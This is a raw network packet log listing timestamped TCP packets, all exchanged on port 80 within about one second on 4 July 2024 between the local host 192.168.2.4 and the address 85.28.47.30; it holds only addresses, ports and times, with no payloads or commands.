Jul 4, 2024 20:34:04.443945885 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.443968058 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.444026947 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.444037914 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.444072962 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.444200993 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.444212914 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.444226027 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.444237947 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.444247007 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.444251060 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.444271088 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.444298983 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.444369078 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.444386005 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.444402933 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.444413900 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.444416046 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.444423914 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.444433928 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.444442987 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.444446087 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.444453001 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.444463015 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.444472075 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.444474936 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.444489956 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.444492102 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.444500923 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.444509983 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.444516897 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.444519997 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.444530010 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.444536924 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.444540024 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.444550037 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.444555998 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.444560051 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.444569111 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.444578886 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.444587946 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.444622993 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.445624113 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.445676088 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.445825100 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.445874929 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.445996046 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.446007967 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.446047068 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.446158886 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.446172953 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.446183920 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.446193933 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.446202993 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.446209908 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.446213007 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.446223974 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.446233988 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.446242094 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.446244955 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.446276903 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.446288109 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.446299076 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.446310043 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.446365118 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.446382999 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.481736898 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.486831903 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.669595957 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.669704914 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.669758081 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.669830084 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.669840097 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.669840097 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.669840097 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.669864893 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.669876099 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.669903040 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.669909000 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.669928074 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.669944048 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.669945955 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.669959068 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.669967890 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.669982910 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.669998884 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.670000076 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.670011044 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.670015097 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.670032978 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.670037985 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.670047998 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.670061111 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.670063972 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.670078039 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.670093060 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.670100927 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.670108080 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.670118093 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.670123100 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.670136929 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.670141935 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.670155048 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.670167923 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.670171976 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.670188904 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.670202971 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.670212030 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.670212030 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.670217037 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.670231104 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.670238018 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.670244932 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.670259953 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.670278072 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.670278072 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.670299053 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.670303106 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.670314074 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.670327902 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.670340061 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.670342922 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.670358896 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.670365095 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.670373917 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.670387983 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.670389891 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.670399904 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.670443058 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.691683054 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.691749096 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.691766024 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.691792011 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.691804886 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.691821098 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.691837072 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.691858053 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.691939116 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.691961050 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.691976070 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.691989899 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.692008972 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.692017078 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.692018032 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.692018032 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.692028046 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.692043066 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.692053080 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.692056894 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.692066908 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.692080975 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.692095995 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.692101002 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.692110062 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.692123890 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.692131996 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.692137957 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.692152023 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.692163944 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.692183018 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.692187071 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.692198992 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.692208052 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.692213058 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.692228079 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.692234039 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.692244053 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.692248106 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.692260981 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.692265034 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.692280054 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.692281961 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.692302942 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.692303896 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.692318916 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.692328930 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.692328930 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.692334890 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.692341089 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.692359924 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.692368031 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.692379951 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.692382097 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.692398071 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.692418098 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.692419052 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.692435026 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.692440033 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.692456007 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.692465067 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.692487001 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.692497969 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.694508076 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.694524050 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.694578886 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.694683075 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.694735050 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.694766998 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.694782972 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.694811106 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.694824934 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.694844961 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.694863081 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.694881916 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.694890022 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.694901943 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.694905996 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.694921970 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.694926977 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.694936991 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.694952965 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.694953918 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.694964886 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.694967985 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.694983006 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.694984913 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.695000887 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.695010900 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.695027113 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.695113897 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.695128918 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.695157051 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.695169926 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.695235014 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.695251942 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.695276022 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.695276976 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.695291042 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.695291042 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.695305109 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.695317030 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.695319891 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.695333958 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.695343971 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.695353031 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.695362091 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.695367098 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.695382118 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.695382118 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.695396900 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.695408106 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.695411921 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.695426941 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.695430040 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.695441961 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.695444107 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.695458889 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.695458889 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.695475101 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.695477962 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.695488930 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.695492983 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.695527077 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.695548058 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.695568085 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.695583105 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.695596933 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.695610046 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.695616007 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.695625067 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.695633888 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.695641041 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.695657015 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.695664883 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.695672035 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.695689917 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.695699930 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.695703983 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.695713997 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.695738077 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.695740938 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.695753098 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.695766926 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.695770979 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.695776939 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.695784092 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.695797920 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.695811033 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.695822001 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.695827961 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.695837975 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.695853949 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.695868015 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.695868969 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.695883036 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.695898056 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.695914030 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.695939064 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.695962906 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.763072968 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.763111115 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.763125896 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.763144970 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.763149977 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.763164997 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.763170004 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.763187885 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.763202906 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.763231993 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.763334036 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.763349056 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.763365984 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.763382912 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.763382912 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.763392925 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.763401031 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.763413906 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.763417959 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.763432980 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.763441086 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.763443947 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.763459921 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.763472080 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.763477087 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.763483047 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.763492107 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.763506889 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.763514996 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.763515949 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.763530016 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.763540030 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.763545990 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.763557911 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.763567924 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.763573885 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.763583899 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.763592005 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.763600111 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.763607979 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.763613939 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.763627052 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.763628960 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.763644934 CEST	49730	80	192.168.2.4	85.28.47.30
